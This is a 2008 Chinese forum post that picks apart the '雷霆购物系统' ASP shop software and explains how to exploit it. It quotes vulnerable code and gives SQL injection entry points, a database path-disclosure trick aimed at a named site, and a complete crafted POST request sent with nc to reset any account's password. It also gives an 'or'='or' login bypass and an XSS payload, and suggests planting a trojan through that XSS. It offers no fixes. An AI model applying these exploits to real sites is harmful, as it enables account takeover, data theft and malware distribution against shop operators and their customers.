瞎谈 發表於 2008-10-8 19:38:16

霸王背后的脆弱——完全解剖雷霆购物系统

雷霆购物系统是国内一个使用比较广泛的购物系统,现在,我们就来看看它的安全性究竟如何吧!从网上下载7.08最新版的雷霆购物系统,现在我们来分析代码!!

<br />

一、SQL注入漏洞 <br />

我们先来看看vpro.asp文件的部分漏洞代码: <br />

&lt;% <br />

dim id <br />

id=request.QueryString(&quot;id&quot;) <br />

dim prename,company,intro,predate,graph2,description,remarks,price <br />

set rs=server.CreateObject(&quot;adodb.recordset&quot;) <br />

rs.open &quot;select * from product where id=&quot;&amp;id,conn,1,3 <br />

rs(&quot;viewnum&quot;)=rs(&quot;viewnum&quot;) 1 <br />

rs.update <br />

%&gt; <br />

sub.asp文件的漏洞代码: <br />

sortsid=request.querystring(&quot;nid&quot;) <br />

if Not isempty(request(&quot;page&quot;)) then <br />

    currentPage=Cint(request(&quot;page&quot;)) <br />

else <br />

    currentPage=1 <br />

end if<br />

set rs=server.CreateObject(&quot;adodb.recordset&quot;) <br />

rs.open &quot;select pagenum,name,mark,vipprice,discount,score,id,author,productdate,price2,price1,discount,pic from product where sortsid=

&quot;&amp;sortsid&amp;&quot; order by adddate desc&quot;,conn,1,1 <br />

还有rank.asp文件的漏洞代码: <br />

dim id,action <br />

action=request.QueryString(&quot;action&quot;) <br />

id=request.QueryString(&quot;id&quot;) <br />

set rs=server.CreateObject(&quot;adodb.recordset&quot;) <br />

rs.open &quot;select id,name,rank,ranknum from product where id=&quot;&amp;id,conn,1,3

参数全都没有做过滤,用普通的注入工具就能轻松注入。 <br />

Search.asp这个文件我开始还以为是搜索页面,但是当我细读代码后,发现原来reseach.asp才是真正的搜索文件,其中又这样一段代码: <br />

if name&lt;&gt;&quot;&quot; then <br />

    sql=sql&amp;&quot;and name like &rsquo;%&quot;&amp;name&amp;&quot;%&rsquo; &quot; <br />

end if <br />

if author&lt;&gt;&quot;&quot; then <br />

    sql=sql&amp;&quot;and author like &rsquo;%&quot;&amp;author&amp;&quot;%&rsquo; &quot; <br />

end if <br />

if manufacturer&lt;&gt;&quot;&quot; then <br />

    sql=sql&amp;&quot;and mark like &rsquo;%&quot;&amp;manufacturer&amp;&quot;%&rsquo; &quot; <br />

end if <br />

if code&lt;&gt;&quot;&quot; then <br />

    sql=sql&amp;&quot;and categoryid like &rsquo;%&quot;&amp;code&amp;&quot;%&rsquo; &quot; <br />

这就是经典的填字游戏!!因为它在高级搜索页面作了javascript过滤,所以我们要用nc提交来进行cookies注入。但我们也可以在快速搜索页面提交:&ldquo;504%&rsquo;注入语句&rsquo;P4&rdquo;就能注入了,抓包然后把地址放在NBSI里就能注入了,因为我的IIS有点问题,所有就没深入测试。



<br />

二、爆库 <br />

数据库连接文件conn.asp并没有加入容错语句On Error Resume Next我们随便找一个带参数的地址,如:www.hackerxfiles.net/vpro.asp?id=513,我们就在地址栏里输入:www.hackerxfiles.net\vpro.asp?id=513,看数据库爆出来了吧!

三、cookies欺骗漏洞 <br />

Forget.asp是密码找回文件文件,repws.asp是修改密码文件,我们来看看它的部分代码: <br />

&lt;% <br />

if request(&quot;username&quot;)=&quot;&quot; then<br />

    call MsgBox(&quot;非法使用!&quot;,&quot;Back&quot;,&quot;None&quot;) <br />

    response.end <br />

end if<br />

dim tmp <br />

set rs=server.CreateObject(&quot;adodb.recordset&quot;) <br />

&rsquo;提交修改密码 <br />

if not isempty(request(&quot;SubmitRePws&quot;)) then <br />

    if request(&quot;password&quot;)&lt;&gt;request(&quot;password2&quot;) then call MsgBox(&quot;再次输入密码不一致!&quot;,&quot;Back&quot;,&quot;None&quot;) <br />

    rs.open &quot;select password from where username=&rsquo;&quot;&amp;trim(request(&quot;username&quot;))&amp;&quot;&rsquo;&quot;,conn,1,3 <br />

    rs(&quot;password&quot;)=md5(trim(request(&quot;password2&quot;))) <br />

    rs.update <br />

    rs.close <br />

    call MsgBox(&quot;您的密码取回成功,请登录!&quot;,&quot;GoUrl&quot;,&quot;login.asp&quot;) <br />

    response.end <br />

end if <br />

rs.open &quot;select answer from where username=&rsquo;&quot;&amp;trim(request(&quot;username&quot;))&amp;&quot;&rsquo; &quot;,conn,1,1 <br />

tmp=trim(rs(&quot;answer&quot;)) <br />

rs.close <br />

if tmp&lt;&gt;md5(request(&quot;answer&quot;)) then <br />

    call Msgbox(&quot;对不起,您输入的问题答案不正确&quot;,&quot;Back&quot;,&quot;None&quot;) <br />

    response.end <br />

end if <br />

set rs=nothing <br />

%&gt; <br />

呵呵,笑了吧!我们现在来构造数据包: <br />

POST /lt/repws.asp HTTP/1.1 <br />

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* <br />

Referer: http://localhost/lt/repws.asp <br />

Accept-Language: zh-cn <br />

Content-Type: application/x-www-form-urlencoded <br />

Accept-Encoding: gzip, deflate <br />

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) <br />

Host: localhost <br />

Content-Length: 72 <br />

Connection: Keep-Alive <br />

Cache-Control: no-cache <br />

Cookie: ASPSESSIONIDQGQGQXOO=IFKFCOFAPEOINKPNGDEJEKOF <br />

password=121212&amp;password2=121212&amp;SubmitRePws=提交&amp;username=x-key <br />

修改就把ueername和password、possword2还有Content-Length修改一下就行了,其他的都不用改。我们现在用nc提交:nc localhost 80&lt;1.txt&gt;1.htm,如图3所示,然后我们运行一下1.htm,就会看到图4的消息框了!

<br />

四、跨站漏洞 <br />

注册文件reg.asp只是在页面表面用了javascript做了过滤,我们可以把它保存到本地,然后删除javascript验证就能注册了呵呵,注册的所有参数都完全没有做过滤哦!!在里面添任何东西都可以,但是这又有什么用呢?那么这就是要看你的工程学了。 <br />

我们来看看留言本的login.asp的漏洞代码:sqlchk=&quot;select * from admin where admin=&rsquo;&quot; &amp; Username &amp; &quot;&rsquo; and password=&rsquo;&quot; &amp; password &amp; &quot;&rsquo;&quot;呵呵,用经典的&rsquo;or&rsquo;=&rsquo;or&rsquo;就能进入了,但是,页面做了javascript验证,但是这个验证就能阻止我们吗?呵呵,当然不能,绕过javascript验证的方法前面已经讲过了,这里就不重复了! <br />

我们只要先抓包,然后用nc这样提交就行了nc localhost 80&lt;1.txt&gt;1.htm好了,现在我们就可以打开1.htm了!! <br />

我们再来看看write.asp文件,我们打开该页面在&ldquo;电子邮件&rdquo;或者&ldquo;个人主页&rdquo;中输入跨站代码:&quot;&gt;&lt;script&gt;alert(&quot;x-key&quot;)&lt;/script&gt;&lt;&quot;,就能看到我们想要的效果了!如果我们再勾上&ldquo;只有斑竹才可以看&rdquo;,呵呵,挂个马什么的不就&hellip;&hellip;





<br />
頁: [1]
查看完整版本: 霸王背后的脆弱——完全解剖雷霆购物系统